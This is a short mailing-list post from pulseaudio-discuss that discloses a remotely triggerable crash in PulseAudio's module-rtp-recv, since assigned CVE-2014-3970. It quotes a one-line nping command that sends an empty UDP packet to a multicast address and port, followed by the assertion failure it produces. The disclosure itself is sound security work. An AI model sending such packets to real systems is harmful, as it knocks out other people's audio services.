[pulseaudio-discuss] Remotely triggerable crash in module-rtp-recv

[Alexander E. Patrakov]

31.05.2014 23:03, I wrote:

(an empty UDP packet)

> # nping --udp --dest-port 46402 --source-port 59405 --data-string ''
> --privileged --send-ip --source-ip 169.254.10.194 224.0.0.56
>
> Result:
>
> E: [alsa-sink-ALC275 Analog] memblock.c: Assertion 'b' failed at
> .../pulseaudio-5.0/src/pulsecore/memblock.c:596, function
> pa_memblock_unref(). Aborting.

And now this is CVE-2014-3970.

-- 
Alexander E. Patrakov